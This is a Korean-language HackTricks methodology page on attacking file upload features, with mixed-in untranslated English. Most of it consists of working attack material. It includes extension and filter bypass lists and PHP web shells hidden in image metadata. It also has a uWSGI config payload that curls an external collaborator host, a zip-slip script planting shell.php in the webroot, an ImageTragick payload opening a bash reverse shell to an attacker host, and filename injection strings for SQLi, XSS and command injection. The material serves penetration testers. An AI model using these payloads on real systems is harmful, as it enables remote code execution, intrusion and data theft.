.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
파일 업로드
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 팔로우 해주세요 🐦 @hacktricks_live.**
- 해킹 트릭을 공유하려면 HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하세요.
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - 우리는 인재를 찾고 있습니다! (유창한 폴란드어 필기 및 구사 필수).
{% embed url="https://www.stmcyber.com/careers" %}
파일 업로드 일반 방법론
기타 유용한 확장자:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- PHPv8에서 작업하기: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws 웹 서버: .yaws
파일 확장자 검사 우회
- 적용되는 경우, 이전 확장자를 확인합니다. 또한 일부 대문자를 사용하여 테스트합니다: pHp, .pHP5, .PhAr ...
- 실행 확장자 앞에 유효한 확장자를 추가 확인하기 (이전 확장자도 사용):
- file.png.php
- file.png.Php5
- 끝에 특수 문자를 추가해 보세요. Burp를 사용하여 모든 ascii 및 Unicode 문자를 브루트포스할 수 있습니다. (이전의 확장자를 사용하여 더 나은 페이로드를 준비할 수도 있습니다.)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- 서버 측의 확장자 파서를 속여 보호를 우회해 보세요. 확장자를 두 번 추가하거나 쓰레기 데이터를 추가하는 기술을 사용할 수 있습니다. 이전 확장자를 사용하여 더 나은 페이로드를 준비할 수 있습니다.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- 이전 검사에 또 다른 확장자 레이어를 추가합니다:
- file.png.jpg.php
- file.php%00.png%00.jpg
- 유효한 확장자 앞에 exec 확장자를 추가하고 서버가 잘못 구성되기를 기도합니다. (확장자** .php로 끝나지 않더라도 실행되는 Apache 잘못 구성의 경우 유용합니다):
- 예: file.php.png
- Windows에서 NTFS 대체 데이터 스트림 (ADS) 사용하기. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, 금지된 확장자를 가진 빈 파일이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “::$data” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
- 파일 이름 제한을 깨뜨리려고 시도합니다. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
# 리눅스 최대 255 바이트
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 예를 들어 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 페이로드 만들기
AAA<--SNIP 232 A-->AAA.php.png
Content-Type, 매직 넘버, 압축 및 크기 조정 우회
- Content-Type 검사를 우회하려면 Content-Type 헤더의 값을 다음으로 설정합니다: image/png, text/plain, application/octet-stream_
- Content-Type 단어 목록: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- 파일의 시작 부분에 실제 이미지의 바이트를 추가하여 매직 넘버 검사를 우회합니다 (파일 명령을 혼란스럽게 함). 또는 메타데이터 내에 쉘을 삽입합니다:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
또는 이미지를 통해 페이로드를 직접 삽입할 수도 있습니다:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- 압축이 이미지에 추가되는 경우, 예를 들어 PHP-GD와 같은 표준 PHP 라이브러리를 사용하여, 이전 기술은 유용하지 않을 수 있습니다. 그러나 PLTE 청크 여기 정의된 기술을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- 코드가 있는 깃허브
- 웹 페이지가 이미지의 크기를 조정할 수도 있습니다. 예를 들어 PHP-GD 함수
imagecopyresized
또는imagecopyresampled
를 사용합니다. 그러나 IDAT 청크 여기 정의된 기술을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다. - 코드가 있는 깃허브
- PHP-GD 함수
thumbnailImage
를 사용하여 이미지 크기 조정을 견딜 수 있는 페이로드를 만드는 또 다른 기술입니다. 그러나 tEXt 청크 여기 정의된 기술을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다. - 코드가 있는 깃허브
확인할 기타 트릭
- 이미 업로드된 파일의 이름을 변경할 수 있는 취약점을 찾습니다 (확장자를 변경).
- 백도어를 실행할 수 있는 로컬 파일 포함 취약점을 찾습니다.
- 정보 유출 가능성:
- 동일한 파일을 여러 번 (그리고 동시에) 동일한 이름으로 업로드합니다.
- 이미 존재하는 파일 또는 폴더의 이름으로 파일을 업로드합니다.
- **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 Windows의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
- NTFS에서 쉽게 삭제되지 않을 수 있는 파일을 업로드합니다. (Windows) 예: “…:.jpg”
- Windows에서 이름에 잘못된 문자가 포함된 파일을 업로드합니다. (Windows) 예:
|<>*?”
- Windows에서 예약된 (금지된) 이름으로 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9.
- 또한 실행 파일 (.exe) 또는 .html (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 코드를 실행하도록 합니다.
특수 확장자 트릭
PHP 서버에 파일을 업로드하려는 경우, 코드를 실행하기 위한 .htaccess 트릭을 확인하세요.
ASP 서버에 파일을 업로드하려는 경우, 코드를 실행하기 위한 .config 트릭을 확인하세요.
.phar
파일은 자바의 .jar
와 유사하지만 PHP용이며, PHP 파일처럼 사용될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
.inc
확장자는 때때로 파일을 가져오는 데만 사용되는 PHP 파일에 사용되므로, 누군가 이 확장자가 실행되도록 허용했을 수 있습니다.
Jetty RCE
Jetty 서버에 XML 파일을 업로드할 수 있다면, 새로운 *.xml 및 *.war가 자동으로 처리되기 때문에 RCE를 얻을 수 있습니다. 따라서 다음 이미지에서 언급된 대로 XML 파일을 $JETTY_BASE/webapps/
에 업로드하고 셸을 기대하세요!
uWSGI RCE
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하세요: uWSGI RCE Exploitation.
원격 명령 실행 (RCE) 취약점은 .ini
구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, @(filename)
으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 .ini
구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
다음은 다양한 스킴을 보여주는 유해한 uwsgi.ini
파일의 예입니다:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 이진 파일(예: 이미지 또는 PDF)에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다.
wget 파일 업로드/SSRF 트릭
일부 경우에 서버가 **wget
**을 사용하여 파일을 다운로드하고 URL을 지정할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 이 검사는 우회할 수 있습니다.
리눅스에서 파일 이름의 최대 길이는 255자이지만, wget은 파일 이름을 236자로 잘라냅니다. **"A"*232+".php"+".gif"**라는 파일을 다운로드할 수 있으며, 이 파일 이름은 검사를 우회할 것입니다(이 예에서 **".gif"**는 유효한 확장자입니다) 그러나 wget
은 파일 이름을 **"A"*232+".php"**로 변경합니다.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that 다른 옵션 you may be thinking of to bypass this check is to make the HTTP 서버가 다른 파일로 리디렉션되도록 하여, 초기 URL이 체크를 우회하게 하고 wget이 새로운 이름으로 리디렉션된 파일을 다운로드하게 할 수 있습니다. This 작동하지 않을 것입니다 unless wget is being used with the parameter --trust-server-names
because wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드할 것입니다.
Tools
- Upload Bypass 는 Pentesters와 Bug Hunters가 파일 업로드 메커니즘을 테스트하는 데 도움을 주기 위해 설계된 강력한 도구입니다. 다양한 버그 바운티 기법을 활용하여 취약점을 식별하고 악용하는 과정을 단순화하여 웹 애플리케이션에 대한 철저한 평가를 보장합니다.
From File upload to other vulnerabilities
- filename을
../../../tmp/lol.png
로 설정하고 경로 탐색을 시도하십시오. - filename을
sleep(10)-- -.jpg
로 설정하면 SQL 인젝션을 달성할 수 있습니다. - filename을
<svg onload=alert(document.domain)>
로 설정하여 XSS를 달성하십시오. - filename을
; sleep 10;
으로 설정하여 일부 명령 주입을 테스트하십시오 (더 많은 명령 주입 트릭은 여기에서 확인하십시오). - XSS in image (svg) file upload
- JS 파일 업로드 + XSS = Service Workers 악용
- XXE in svg upload
- Open Redirect via uploading svg file
- Try 다양한 svg 페이로드 from https://github.com/allanlw/svg-cheatsheet****
- 유명한 ImageTrick 취약점
- If you can 웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면, SSRF를 악용할 수 있습니다. If this 이미지가 공개 사이트에 저장될 경우, https://iplogger.org/invisible/의 URL을 지정하여 모든 방문자의 정보를 훔칠 수 있습니다.
- XXE 및 CORS 우회 PDF-Adobe 업로드
- 특별히 제작된 PDF로 XSS: 다음 페이지는 PDF 데이터를 주입하여 JS 실행을 얻는 방법을 제시합니다. PDF를 업로드할 수 있다면, 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any 안티바이러스
- Check if there is any 크기 제한 uploading files
Here’s a top 10 list of things that you can achieve by uploading (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
{% embed url="https://github.com/portswigger/upload-scanner" %}
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.
Zip/Tar File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
다른 폴더에 압축 해제
압축 해제 중 디렉토리에 파일이 예기치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악의적인 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다.
이러한 파일을 생성하기 위한 자동화된 익스플로잇은 evilarc on GitHub에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
추가적으로, evilarc와 함께하는 symlink 트릭은 옵션입니다. 목표가 /flag.txt
와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
압축을 악용한 파일 스프레이
자세한 내용은 원본 게시물을 확인하세요: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- PHP 셸 생성: PHP 코드는
$_REQUEST
변수를 통해 전달된 명령을 실행하도록 작성됩니다.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- 파일 스프레이 및 압축 파일 생성: 여러 파일이 생성되고 이러한 파일을 포함하는 zip 아카이브가 조립됩니다.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Hex 편집기 또는 vi로 수정: zip 내부의 파일 이름을 vi 또는 hex 편집기를 사용하여 변경하여 "xxA"를 "../"로 변경하여 디렉토리를 탐색합니다.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
이 콘텐츠를 이미지 확장자로 업로드하여 취약점을 악용하세요 (ImageMagick , 7.0.1-1) (출처: exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PNG에 PHP 셸 삽입하기
PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 imagecopyresized
및 imagecopyresampled
함수는 각각 이미지를 크기 조정하고 재샘플링하는 데 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 삽입된 PHP 셸이 이러한 작업의 영향을 받지 않는 능력은 특정 사용 사례에 있어 중요한 장점입니다.
이 기술에 대한 자세한 탐구, 방법론 및 잠재적 응용 프로그램은 다음 기사에서 제공됩니다: "PNG IDAT 청크에 웹 셸 인코딩하기". 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다.
자세한 정보는: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
다중 언어 파일
다중 언어 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIFAR가 있으며, 이는 GIF와 RAR 아카이브로 기능하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
다중 언어 파일의 핵심 유틸리티는 파일 유형에 따라 파일을 스크리닝하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 다중 언어 파일은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
그들의 적응성에도 불구하고, 다중 언어 파일은 한계에 직면합니다. 예를 들어, 다중 언어 파일이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 다중 언어 파일의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
자세한 정보는: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
참고 문헌
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
당신이 해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - 우리는 채용 중입니다! (유창한 폴란드어 필기 및 구술 필수).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS 해킹 배우고 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우고 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.